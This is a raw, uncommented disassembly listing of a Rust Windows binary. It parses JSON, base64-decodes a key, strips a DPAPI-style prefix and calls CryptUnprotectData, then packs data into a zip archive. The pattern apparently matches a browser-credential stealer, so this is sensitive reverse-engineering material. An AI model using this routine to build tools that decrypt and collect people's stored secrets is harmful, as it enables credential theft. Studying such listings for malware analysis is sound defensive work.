mov r14, qword [rsp + 0x50]
movzx eax, byte [rsp + 0x88]
cmp eax, 3
jb 0x14000e0fd
je 0x14000e0dc
cmp eax, 4
jne 0x14000e11c
lea rcx, [rsp + 0x90]
call sym.__alloc::vec::Vec_T_A__as_core::ops::drop::Drop_::drop::h1943bc1370d69af2
cmp qword [rsp + 0x90], 0
je 0x14000e0fd
mov r8, qword [rsp + 0x98]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
test r14, r14
je 0x14000d106
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rdi
call fcn.14013f0f4
jmp 0x14000d106
mov rcx, qword [rsp + 0x90]
test rcx, rcx
je 0x14000e178
mov rdx, qword [rsp + 0x98]
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], rcx
mov qword [rsp + 0xc0], rdx
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xd8], rcx
mov qword [rsp + 0xe0], rdx
mov ecx, 1
jmp 0x14000e17c
xor ecx, ecx
xor eax, eax
mov qword [rsp + 0xa8], rcx
mov qword [rsp + 0xc8], rcx
mov qword [rsp + 0xe8], rax
lea rsi, [rsp + 0x60]
lea rbx, [rsp + 0xa8]
mov rcx, rsi
mov rdx, rbx
call sym.alloc::collections::btree::map::IntoIter_K_V_A_::dying_next::h5f1751fa289b9265
cmp qword [rsp + 0x60], 0
je 0x14000e0fd
mov rcx, rsi
call sym._ZN5alloc11collections5btree4node173Handle_LT_alloc..collections..btree..node..NodeRef_LT_alloc..collections..btree..node..mar
jmp 0x14000e1a1
test r9b, r9b
je 0x14000e2dd
mov rdx, qword [rsp + 0x48]
mov r13, rbp
cmp rbp, rdx
movabs r9, 0x8000000000000000
lea r12, [rsp + 0xa8]
mov rcx, qword [rsp + 0x38]
jae 0x14000e6f6
mov rax, r8
shr rax, 0x38
mov byte [rcx + r13], al
lea rcx, [r13 + 1]
test bl, bl
mov r14, qword [rsp + 0x58]
je 0x14000e303
cmp rcx, rdx
jae 0x14000e6f9
mov rax, r8
shr rax, 0x30
mov rcx, qword [rsp + 0x38]
mov byte [rcx + r13 + 1], al
lea rcx, [r13 + 2]
test sil, sil
je 0x14000e303
cmp rcx, rdx
jae 0x14000e6f9
mov rax, r8
shr rax, 0x28
mov rcx, qword [rsp + 0x38]
mov byte [rcx + r13 + 2], al
lea rcx, [r13 + 3]
test r11b, r11b
je 0x14000e303
cmp rcx, rdx
jae 0x14000e6f9
mov r11, rbp
mov rax, r8
shr rax, 0x20
mov rcx, qword [rsp + 0x38]
mov byte [rcx + rbp + 3], al
lea rcx, [rbp + 4]
test r10b, r10b
je 0x14000e53c
mov rdx, qword [rsp + 0x48]
cmp rcx, rdx
jae 0x14000e6f9
mov r10, rbp
mov eax, r8d
shr eax, 0x18
mov rcx, qword [rsp + 0x38]
mov byte [rcx + rbp + 4], al
lea rcx, [rbp + 5]
test r15b, r15b
je 0x14000e53c
mov rdx, qword [rsp + 0x48]
cmp rcx, rdx
jae 0x14000e6f9
mov r13, rbp
shr r8d, 0x10
mov rax, qword [rsp + 0x38]
mov byte [rax + rbp + 5], r8b
add r13, 6
cmp rdx, r13
jae 0x14000e310
jmp 0x14000e30b
mov r14, qword [rsp + 0x58]
movabs r9, 0x8000000000000000
lea r12, [rsp + 0xa8]
mov rdx, qword [rsp + 0x48]
mov r13, rbp
cmp rdx, r13
jae 0x14000e310
jmp 0x14000e30b
mov r13, rcx
cmp rdx, r13
jae 0x14000e310
mov r13, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x60]
cmp rsi, r9
je 0x14000e0b3
cmp r13, 4
jbe 0x14000e705
add r13, 0xfffffffffffffffb
je 0x14000e353
js 0x14000e645
movzx eax, byte [0x140346130]
xor ecx, ecx
mov rdx, r13
call sym.std::sys::pal::windows::alloc::process_heap_alloc::hcc99af14aa596ba0
test rax, rax
je 0x14000e719
mov r15, rax
jmp 0x14000e359
mov r15d, 1
mov rbx, qword [rsp + 0x38]
lea rdx, [rbx + 5]
mov rcx, r15
mov r8, r13
call sym.memcpy
test rsi, rsi
je 0x14000e383
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rbx
call fcn.14013f0f4
mov dword [rsp + 0x60], r13d
mov qword [rsp + 0x68], r15
mov dword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea rcx, [rsp + 0x60]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.CRYPT32.dll_CryptUnprotectData
mov rsi, qword [rsp + 0xb0]
mov ebx, dword [rsp + 0xa8]
add byte [rax], al
add byte [rax], al
test r13, r13
je 0x14000e3f1
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, r15
call fcn.14013f0f4
mov qword [r14], rbx
mov qword [r14 + 8], rsi
mov qword [r14 + 0x10], rbx
jmp 0x14000e0b6
mov eax, 0x30
mov r9b, 1
mov bl, 1
mov sil, 1
mov r11b, 1
mov r10b, 1
mov r15b, 1
jmp 0x14000e078
cmp r9, rax
mov r11, rax
cmovb r11, r9
and r11, 0xfffffffffffffffc
mov esi, 1
xor r8d, r8d
movdqa xmm0, xmmword [0x1402ba1b0]
mov ebx, 3
mov r14d, 2
mov edx, 1
add r8, 4
movd xmm1, dword [rcx]
add rcx, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ebp, xmm1
test bpl, 1
cmovne r8, rbx
test bpl, 2
cmovne r8, r14
test bpl, 4
cmovne r8, rsi
test bpl, 8
mov r15d, 0
cmovne r8, r15
mov r15d, ebp
shr r15b, 1
and r15b, 5
sub bpl, r15b
mov r15d, ebp
and r15b, 0x33
shr bpl, 2
and bpl, 0x33
add bpl, r15b
mov r15d, ebp
shr r15b, 4
add r15b, bpl
and r15b, 0xf
movzx r15d, r15b
add rdx, r15
add r11, 0xfffffffffffffffc
jne 0x14000e44a
test r10b, 3
mov r14, qword [rsp + 0x50]
je 0x14000e501
cmp r9, rax
cmovb rax, r9
and eax, 3
xor r9d, r9d
inc r8
xor r10d, r10d
cmp byte [rcx + r9], 0xa
mov r11d, 0
cmove r8, r11
sete r10b
add rdx, r10
inc r9
cmp rax, r9
jne 0x14000e4dd
lea rcx, [rsp + 0x88]
call sym.serde_json::error::Error::syntax::hcd2e9f83b81862be
mov qword [rsp + 0x108], rax
mov byte [rsp + 0x100], 6
lea rcx, [rsp + 0x60]
call sym.core::ptr::drop_in_place_serde_json::value::Value_::hf706df523c1754da
cmp qword [rsp + 0xa8], 0
jne 0x14000d1c4
jmp 0x14000d1da
mov r13, rcx
mov rdx, qword [rsp + 0x48]
cmp rdx, r13
jae 0x14000e310
jmp 0x14000e30b
lea rcx, str.decoded_length_calculation_overflow
lea r8, [0x1402c0790]
mov edx, 0x23
call sym.core::option::expect_failed::hbd75ea7c1c4dbaeb
lea rcx, str.Overflow_when_calculating_number_of_chunks_in_inputC:Users_asdasd.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
lea r8, [0x1402c15d0]
mov edx, 0x33
call sym.core::option::expect_failed::hbd75ea7c1c4dbaeb
lea r8, [0x1402c09d0]
mov rcx, rdx
mov rdx, r13
call sym.core::slice::index::slice_start_index_len_fail::h3f646e8722da45b7
lea r8, [0x1402c09b8]
mov rdx, rax
call sym.core::slice::index::slice_index_order_fail::hfca6cab286b1ac3a
lea r8, [0x1402c09b8]
mov rcx, rax
mov rdx, r15
call sym.core::slice::index::slice_end_index_len_fail::hda10811658e048af
lea r8, [0x1402c06a8]
xor ecx, ecx
xor edx, edx
call sym.core::panicking::panic_bounds_check::h4036fe14f6f497ef
lea r8, [0x1402c08c0]
mov rcx, rdx
mov rdx, qword [rsp + 0x48]
call sym.core::slice::index::slice_end_index_len_fail::hda10811658e048af
lea r8, [0x1402c08c0]
mov edx, 0xa
mov rcx, 0xfffffffffffffff0
call sym.core::slice::index::slice_index_order_fail::hfca6cab286b1ac3a
lea r8, [0x1402c08a8]
mov rcx, rax
mov rdx, r13
call sym.core::slice::index::slice_end_index_len_fail::hda10811658e048af
lea r8, [0x1402c06c0]
mov ecx, 1
mov edx, 1
call sym.core::panicking::panic_bounds_check::h4036fe14f6f497ef
lea r8, [0x1402c06d8]
mov ecx, 2
mov edx, 2
call sym.core::panicking::panic_bounds_check::h4036fe14f6f497ef
lea r8, [0x1402c06f0]
mov ecx, 3
mov edx, 3
call sym.core::panicking::panic_bounds_check::h4036fe14f6f497ef
call sym.alloc::raw_vec::capacity_overflow::h1e9621a84679a79e
mov ecx, 1
mov rdx, r15
call sym.alloc::raw_vec::handle_error::h4c8b686338b9335b
lea r8, [0x1402c0708]
mov ecx, 4
mov edx, 4
call sym.core::panicking::panic_bounds_check::h4036fe14f6f497ef
lea r8, [0x1402c0720]
mov ecx, 5
mov edx, 5
call sym.core::panicking::panic_bounds_check::h4036fe14f6f497ef
lea r8, [0x1402c0738]
mov ecx, 6
mov edx, 6
call sym.core::panicking::panic_bounds_check::h4036fe14f6f497ef
lea r8, [0x1402c0750]
mov ecx, 7
mov edx, 7
call sym.core::panicking::panic_bounds_check::h4036fe14f6f497ef
lea r8, [0x1402c08f0]
mov rcx, r9
mov rdx, qword [rsp + 0x48]
call sym.core::slice::index::slice_end_index_len_fail::hda10811658e048af
lea r8, [0x1402c08f0]
mov rdx, r9
call sym.core::slice::index::slice_index_order_fail::hfca6cab286b1ac3a
lea r8, [0x1402c08d8]
mov rcx, rdx
mov rdx, r13
call sym.core::slice::index::slice_end_index_len_fail::hda10811658e048af
lea r8, [0x1402c09a0]
mov rcx, rdx
mov rdx, r13
call sym.core::slice::index::slice_start_index_len_fail::h3f646e8722da45b7
mov rcx, r13
lea r8, [0x1402c0908]
sub eax, dword [rax]
call sym.core::panicking::panic_bounds_check::h4036fe14f6f497ef
lea r8, str.__r__
mov ecx, 5
mov rdx, r13
call sym.core::slice::index::slice_start_index_len_fail::h3f646e8722da45b7
mov ecx, 1
mov rdx, r13
call sym.alloc::raw_vec::handle_error::h4c8b686338b9335b
lea rax, str.__t__
mov qword [rsp + 0x100], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h076aca05718f1fcc]
mov qword [rsp + 0x108], rax
lea rax, str.8a0_
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], 1
mov qword [rsp + 0xc8], 0
lea rax, [rsp + 0x100]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], 1
lea rdx, [0x1402c0988]
lea rcx, [rsp + 0xa8]
call sym.core::panicking::panic_fmt::hbb9b898858802355
mov rsi, rax
mov rcx, rbx
call sub.KERNEL32.dll_CloseHandle
mov rcx, rsi
call sym._Unwind_Resume
jmp 0x14000e7b2
mov rsi, rax
mov qword [rsp + 0x70], 0
cmp qword [rsp + 0x60], 0
je 0x14000e7d9
mov r8, qword [rsp + 0x68]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
mov rcx, rbx
call sub.KERNEL32.dll_CloseHandle
mov rcx, rsi
call sym._Unwind_Resume
int3
mov ecx, ecx
shr rcx, 0x31
and ecx, 0x7f
mov rdx, r9
shr rdx, 0x23
and edx, 0x1fe0
mov r10, r9
shr r10, 0x15
and r10d, 0xfffff800
or r10d, ecx
or r10d, edx
mov qword [rsp + 0x248], r10
mov ecx, r9d
shr ecx, 0xb
and ecx, 0x1fe0
mov edx, r9d
shl edx, 9
add eax, edx
add eax, 0xffff8800
or eax, ecx
mov dword [rsp + 0x1fc], eax
xorps xmm6, xmm6
mov rbx, r8
jmp 0x14000f3a3
test rsi, rsi
jne 0x140010ac1
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rdi
call fcn.14013f0f4
mov rbx, qword [rsp + 0x220]
add rbx, 0x30
cmp rbx, qword [rsp + 0x240]
movabs r13, 0x8080808080808080
je 0x140010263
mov r15, qword [rbx + 8]
mov rdi, qword [rbx + 0x10]
test rdi, rdi
je 0x14000f3e0
js 0x140010a27
movzx eax, byte [0x140346130]
xor ecx, ecx
mov rdx, rdi
call sym.std::sys::pal::windows::alloc::process_heap_alloc::hcc99af14aa596ba0
test rax, rax
je 0x140010aef
mov r14, rax
jmp 0x14000f3e6
mov r14d, 1
mov rcx, r14
mov rdx, r15
mov r8, rdi
call sym.memcpy
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x130]
call sym.zip::write::ZipWriter_W_::finish_file::h60de087034393ef7
mov rsi, qword [rsp + 0x30]
cmp rsi, 4
jne 0x140010a50
mov qword [rsp + 0x1f0], r14
mov qword [rsp + 0x220], rbx
mov rax, qword [rsp + 0x218]
cmp qword [rsp + 0x160], rax
jne 0x140010a38
mov rbp, qword [rsp + 0x168]
mov r12, qword [rbp + 0x18]
mov r14, r12
add r14, 4
mov r8, r14
mov rax, 0xffffffffffffffff
cmovb r8, rax
mov rax, qword [rbp]
mov rdx, qword [rbp + 0x10]
cmp r8, rax
jbe 0x14000f478
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x14000f521
mov r8, r12
mov rsi, qword [rbp + 8]
sub r8, rdx
jbe 0x14000f498
add rdx, rsi
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [rbp + 0x10], r12
mov rdx, r12
mov dword [rsi + r12], 0x4034b50
cmp r14, rdx
jbe 0x14000f4b0
mov qword [rbp + 0x10], r14
mov rdx, r14
jmp 0x14000f4b4
mov rdx, qword [rbp + 0x10]
mov qword [rbp + 0x18], r14
mov rax, r12
shr rax, 0x20
mov esi, 0x14
mov eax, 0x2d
cmovne esi, eax
mov r8, r14
add r8, 2
mov rax, 0xffffffffffffffff
cmovb r8, rax
mov rax, qword [rbp]
cmp r8, rax
jbe 0x14000f4f2
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x14000f542
mov r8, r14
mov rbx, qword [rbp + 8]
sub r8, rdx
jbe 0x14000f560
add rdx, rbx
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [rbp + 0x10], r14
mov word [rbx + r12 + 4], si
lea r15, [r12 + 6]
cmp r15, r14
ja 0x14000f573
jmp 0x14000f577
mov rcx, rbp
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h010c4e3c86a70d79
mov rdx, qword [rbp + 0x10]
mov r8, r12
mov rsi, qword [rbp + 8]
sub r8, rdx
ja 0x14000f484
jmp 0x14000f498
mov rcx, rbp
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h010c4e3c86a70d79
mov rdx, qword [rbp + 0x10]
mov r8, r14
mov rbx, qword [rbp + 8]
sub r8, rdx
ja 0x14000f4fe
nop word [rax + rax]
mov r14, rdx
mov word [rbx + r12 + 4], si
lea r15, [r12 + 6]
cmp r15, r14
jbe 0x14000f577
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], r15
cmp rdi, 8
mov rdx, qword [rsp + 0x1f0]
jae 0x14000f640
test rdi, rdi
je 0x14000f700
cmp byte [rdx + rdi - 1], 0
js 0x14000f690
mov rax, rdi
dec rax
je 0x14000f700
cmp byte [rdx + rdi - 2], 0
js 0x14000f690
mov rax, rdi
add rax, 0xfffffffffffffffe
je 0x14000f700
cmp byte [rdx + rdi - 3], 0
js 0x14000f690
mov rax, rdi
add rax, 0xfffffffffffffffd
je 0x14000f700
cmp byte [rdx + rdi - 4], 0
js 0x14000f690
mov rax, rdi
add rax, 0xfffffffffffffffc
je 0x14000f700
cmp byte [rdx + rdi - 5], 0
js 0x14000f690
mov rax, rdi
add rax, 0xfffffffffffffffb
je 0x14000f700
cmp byte [rdx + rdi - 6], 0
js 0x14000f690
mov rax, rdi
add rax, 0xfffffffffffffffa
je 0x14000f700
cmp byte [rdx + rdi - 7], 0
js 0x14000f690
mov rax, rdi
add rax, 0xfffffffffffffff9
je 0x14000f700
jmp 0x14000f690
test qword [rdx], r13
jne 0x14000f690
lea rax, [rdx + 7]
and rax, 0xfffffffffffffff8
sub rax, rdx
mov ecx, 8
cmove rax, rcx
lea rcx, [rdi - 8]
cmp rax, rcx
jae 0x14000f67f
nop word cs:[rax + rax]
test qword [rdx + rax], r13
jne 0x14000f690
add rax, 8
cmp rax, rcx
jb 0x14000f670
test qword [rdx + rcx], r13
je 0x14000f700
nop word cs:[rax + rax]
mov r8, r15
add r8, 2
mov rax, 0xffffffffffffffff
cmovb r8, rax
mov rax, qword [rbp]
mov rdx, qword [rbp + 0x10]
cmp r8, rax
jbe 0x14000f6be
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x14000f749
mov r8, r15
mov rsi, qword [rbp + 8]
sub r8, rdx
jbe 0x14000f770
add rdx, rsi
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [rbp + 0x10], r15
mov word [rsi + r12 + 6], 0x800
lea r14, [r12 + 8]
cmp r14, r15
ja 0x14000f7b4
jmp 0x14000f7b8
mov r8, r15
add r8, 2
mov rax, 0xffffffffffffffff
cmovb r8, rax
mov rax, qword [rbp]
mov rdx, qword [rbp + 0x10]
cmp r8, rax
jbe 0x14000f72a
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x14000f787
mov r8, r15
mov rsi, qword [rbp + 8]
sub r8, rdx
jbe 0x14000f79f
add rdx, rsi
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [rbp + 0x10], r15
jmp 0x14000f7a2
mov rcx, rbp
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h010c4e3c86a70d79
mov rdx, qword [rbp + 0x10]
mov r8, r15
mov rsi, qword [rbp + 8]
sub r8, rdx
ja 0x14000f6ce
nop word cs:[rax + rax]
mov r15, rdx
mov word [rsi + r12 + 6], 0x800
lea r14, [r12 + 8]
cmp r14, r15
ja 0x14000f7b4
jmp 0x14000f7b8
mov rcx, rbp
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h010c4e3c86a70d79
mov rdx, qword [rbp + 0x10]
mov r8, r15
mov rsi, qword [rbp + 8]
sub r8, rdx
ja 0x14000f736
mov r15, rdx
mov word [rsi + r12 + 6], 0
lea r14, [r12 + 8]
cmp r14, r15
jbe 0x14000f7b8
mov qword [rbp + 0x10], r14
mov r15, r14
add r15, 2
mov r8, r15
mov rax, 0xffffffffffffffff
cmovb r8, rax
mov qword [rbp + 0x18], r14
mov rax, qword [rbp]
mov rdx, qword [rbp + 0x10]
cmp r8, rax
jbe 0x14000f7ed
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x14000f87d
mov r8, r14
mov rsi, qword [rbp + 8]
sub r8, rdx
jbe 0x14000f80d
add rdx, rsi
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [rbp + 0x10], r14
mov rdx, r14
mov word [rsi + r14], 0
cmp r15, rdx
jbe 0x14000f830
mov qword [rbp + 0x10], r15
mov rdx, r15
jmp 0x14000f834
mov rdx, qword [rbp + 0x10]
mov qword [rbp + 0x18], r15
mov r8, r15
add r8, 2
mov rax, 0xffffffffffffffff
cmovb r8, rax
mov rax, qword [rbp]
cmp r8, rax
jbe 0x14000f85e
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x14000f89e
mov r8, r15
mov rsi, qword [rbp + 8]
sub r8, rdx
jbe 0x14000f8c0
add rdx, rsi
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [rbp + 0x10], r15
jmp 0x14000f8c3
mov rcx, rbp
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h010c4e3c86a70d79
mov rdx, qword [rbp + 0x10]
mov r8, r14
mov rsi, qword [rbp + 8]
sub r8, rdx
ja 0x14000f7f9
jmp 0x14000f80d
mov rcx, rbp
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h010c4e3c86a70d79
mov rdx, qword [rbp + 0x10]
mov r8, r15
mov rsi, qword [rbp + 8]
sub r8, rdx
ja 0x14000f86a
nop word cs:[rax + rax]
mov r15, rdx
mov rax, qword [rsp + 0x248]
mov word [rsi + r14 + 2], ax
lea rbx, [r14 + 4]
cmp rbx, r15
jbe 0x14000f8f0
mov qword [rbp + 0x10], rbx
mov rdx, rbx
jmp 0x14000f8f4
mov rdx, qword [rbp + 0x10]
mov qword [rbp + 0x18], rbx
mov r8, rbx
add r8, 2
mov rax, 0xffffffffffffffff
cmovb r8, rax
mov rax, qword [rbp]
cmp r8, rax
jbe 0x14000f91e
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x14000f93d
mov r8, rbx
mov rsi, qword [rbp + 8]
sub r8, rdx
jbe 0x14000f960
add rdx, rsi
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [rbp + 0x10], rbx
jmp 0x14000f963
mov rcx, rbp
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h010c4e3c86a70d79
mov rdx, qword [rbp + 0x10]
mov r8, rbx
mov rsi, qword [rbp + 8]
sub r8, rdx
ja 0x14000f92a
nop word cs:[rax + rax]
mov rbx, rdx
mov eax, dword [rsp + 0x1fc]
mov word [rsi + r14 + 4], ax
lea r15, [r14 + 6]
cmp r15, rbx
jbe 0x14000f990
mov qword [rbp + 0x10], r15
mov rdx, r15
jmp 0x14000f994
mov rdx, qword [rbp + 0x10]
mov qword [rbp + 0x18], r15
mov r8, r15
add r8, 4
mov rax, 0xffffffffffffffff
cmovb r8, rax
mov rax, qword [rbp]
cmp r8, rax
jbe 0x14000f9be
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x14000f9f3
mov r8, r15
mov rsi, qword [rbp + 8]
sub r8, rdx
jbe 0x14000fa10
add rdx, rsi
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [rbp + 0x10], r15
mov dword [rsi + r14 + 6], 0
lea rbx, [r14 + 0xa]
cmp rbx, r15
ja 0x14000fa25
mov rdx, qword [rbp + 0x10]
jmp 0x14000fa2c
mov rcx, rbp
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h010c4e3c86a70d79
mov rdx, qword [rbp + 0x10]
mov r8, r15
mov rsi, qword [rbp + 8]
sub r8, rdx
ja 0x14000f9ca
nop dword [rax + rax]
mov r15, rdx
mov dword [rsi + r14 + 6], 0
lea rbx, [r14 + 0xa]
cmp rbx, r15
jbe 0x14000f9ed
mov qword [rbp + 0x10], rbx
mov rdx, rbx
mov qword [rbp + 0x18], rbx
mov r8, rbx
add r8, 4
mov rax, 0xffffffffffffffff
cmovb r8, rax
mov rax, qword [rbp]
cmp r8, rax
jbe 0x14000fa56
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x14000fa8b
mov r8, rbx
mov rsi, qword [rbp + 8]
sub r8, rdx
jbe 0x14000fab0
add rdx, rsi
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [rbp + 0x10], rbx
mov dword [rsi + r14 + 0xa], 0
lea r13, [r14 + 0xe]
cmp r13, rbx
ja 0x14000fac5
mov rdx, qword [rbp + 0x10]
jmp 0x14000facc
mov rcx, rbp
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h010c4e3c86a70d79
mov rdx, qword [rbp + 0x10]
mov r8, rbx
mov rsi, qword [rbp + 8]
sub r8, rdx
ja 0x14000fa62
nop word cs:[rax + rax]
mov rbx, rdx
mov dword [rsi + r14 + 0xa], 0
lea r13, [r14 + 0xe]
cmp r13, rbx
jbe 0x14000fa85
mov qword [rbp + 0x10], r13
mov rdx, r13
mov qword [rbp + 0x18], r13
mov r8, r13
add r8, 4
mov rax, 0xffffffffffffffff
cmovb r8, rax
mov rax, qword [rbp]
cmp r8, rax
jbe 0x14000faf6
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x14000fb2b
mov r8, r13
mov rsi, qword [rbp + 8]
sub r8, rdx
jbe 0x14000fb50
add rdx, rsi
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [rbp + 0x10], r13
mov dword [rsi + r14 + 0xe], 0
lea r15, [r14 + 0x12]
cmp r15, r13
ja 0x14000fb65
mov rdx, qword [rbp + 0x10]
jmp 0x14000fb6c
mov rcx, rbp
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h010c4e3c86a70d79
mov rdx, qword [rbp + 0x10]
mov r8, r13
mov rsi, qword [rbp + 8]
sub r8, rdx
ja 0x14000fb02
nop word cs:[rax + rax]
mov r13, rdx
mov dword [rsi + r14 + 0xe], 0
lea r15, [r14 + 0x12]
cmp r15, r13
jbe 0x14000fb25
mov qword [rbp + 0x10], r15
mov rdx, r15
mov qword [rbp + 0x18], r15
mov r8, r15
add r8, 2
mov rax, 0xffffffffffffffff
cmovb r8, rax
mov rax, qword [rbp]
cmp r8, rax
jbe 0x14000fb96
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x14000fbc8
mov r8, r15
mov rsi, qword [rbp + 8]
sub r8, rdx
jbe 0x14000fbe0
add rdx, rsi
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [rbp + 0x10], r15
mov word [rsi + r14 + 0x12], di
lea r13, [r14 + 0x14]
cmp r13, r15
ja 0x14000fbf2
mov rdx, qword [rbp + 0x10]
jmp 0x14000fbf9
mov rcx, rbp
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h010c4e3c86a70d79
mov rdx, qword [rbp + 0x10]
mov r8, r15
mov rsi, qword [rbp + 8]
sub r8, rdx
ja 0x14000fba2
mov r15, rdx
mov word [rsi + r14 + 0x12], di
lea r13, [r14 + 0x14]
cmp r13, r15
jbe 0x14000fbc2
mov qword [rbp + 0x10], r13
mov rdx, r13
mov qword [rbp + 0x18], r13
mov r8, r13
add r8, 2
mov rax, 0xffffffffffffffff
cmovb r8, rax
mov rax, qword [rbp]
cmp r8, rax
jbe 0x14000fc23
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x14000fc53
mov r8, r13
mov rsi, qword [rbp + 8]
sub r8, rdx
jbe 0x14000fc70
add rdx, rsi
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [rbp + 0x10], r13
mov word [rsi + r14 + 0x14], 0
add r14, 0x16
cmp r14, r13
ja 0x14000fc84
jmp 0x14000fc88
mov rcx, rbp
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h010c4e3c86a70d79
mov rdx, qword [rbp + 0x10]
mov r8, r13
mov rsi, qword [rbp + 8]
sub r8, rdx
ja 0x14000fc2f
nop dword [rax + rax]
mov r13, rdx
mov word [rsi + r14 + 0x14], 0
add r14, 0x16
cmp r14, r13
jbe 0x14000fc88
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], r14
test rdi, rdi
je 0x14000fd10
mov r13, qword [rsp + 0x168]
mov rsi, qword [r13 + 0x18]
mov rbx, rsi
add rbx, rdi
mov r8, rbx
mov rax, 0xffffffffffffffff
cmovb r8, rax
mov rax, qword [r13]
mov r15, qword [r13 + 0x10]
cmp r8, rax
jbe 0x14000fccd
sub r8, r15
sub rax, r15
cmp rax, r8
jb 0x14001023f
mov r8, rsi
mov r14, qword [r13 + 8]
sub r8, r15
jbe 0x14000fced
add r15, r14
mov rcx, r15
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [r13 + 0x10], rsi
mov r15, rsi
add r14, rsi
mov rcx, r14
mov rdx, qword [rsp + 0x1f0]
mov r8, rdi
call sym.memcpy
cmp rbx, r15
jbe 0x14000fd0c
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], rbx
mov r14, qword [rbp + 0x18]
mov qword [rsp + 0x1a8], r14
mov qword [rsp + 0x1b0], 0
mov rcx, qword [0x1403460f8]
test rcx, rcx
je 0x140010215
xor eax, eax
test cl, 2
mov rbx, qword [rsp + 0x220]
je 0x14000fd5d
mov rax, qword [0x1403460f8]
test rax, rax
je 0x140010235
shr eax, 0xa
and eax, 1
mov dword [rsp + 0x198], eax
mov dword [rsp + 0x19c], 0
mov qword [rsp + 0x1a0], 0
mov rsi, qword [rsp + 0x140]
cmp rsi, qword [rsp + 0x130]
jne 0x14000fd9a
lea rcx, [rsp + 0x130]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::hfe4997d957f15194
mov rax, qword [rsp + 0x138]
imul rcx, rsi, 0xa8
mov qword [rax + rcx], rdi
mov rdx, qword [rsp + 0x1f0]
mov qword [rax + rcx + 8], rdx
mov qword [rax + rcx + 0x10], rdi
mov qword [rax + rcx + 0x18], 0
mov qword [rax + rcx + 0x20], 1
movups xmmword [rax + rcx + 0x28], xmm6
mov qword [rax + rcx + 0x38], 1
movups xmmword [rax + rcx + 0x40], xmm6
mov qword [rax + rcx + 0x50], 1
mov qword [rax + rcx + 0x58], 0
mov rdx, qword [rsp + 0x1e8]
mov qword [rax + rcx + 0x60], rdx
movups xmmword [rax + rcx + 0x68], xmm6
mov qword [rax + rcx + 0x78], r12
mov qword [rax + rcx + 0x80], 0
mov qword [rax + rcx + 0x88], r14
mov word [rax + rcx + 0x90], 0
movabs rdx, 0x81a4000000000000
mov qword [rax + rcx + 0x94], rdx
mov dword [rax + rcx + 0x9c], 0x3000000
mov byte [rax + rcx + 0xa0], 0x2e
inc rsi
mov qword [rsp + 0x140], rsi
lea rcx, [rsp + 0x30]
lea r14, [rsp + 0x160]
mov rdx, r14
xor r8d, r8d
call sym.zip::write::GenericZipWriter_W_::switch_to::h94415f635dd8dd56
mov rsi, qword [rsp + 0x30]
